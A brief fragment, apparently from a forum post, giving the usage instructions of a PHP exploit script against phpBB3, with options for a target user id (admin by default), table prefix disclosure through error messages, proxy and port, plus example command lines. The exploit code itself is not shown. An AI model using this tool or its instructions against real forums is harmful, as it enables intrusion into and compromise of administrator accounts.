Код:

host: target server (ip/hostname) 
path: path to phpbb3 
user/pass: u need a valid user account with global moderator rights 
Options: 
-T[prefix] specify a table prefix different from default (phpbb_)
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
-u[number]: specify a user id other than 2 (admin)
-x: disclose table prefix through error messages
Example: 
php exploit.php localhost /phpbb3/ rgod suntzu-u-urn
php exploit.php localhost /phpbb3/ rgod suntzu-u-u -TPHPBB_ -u7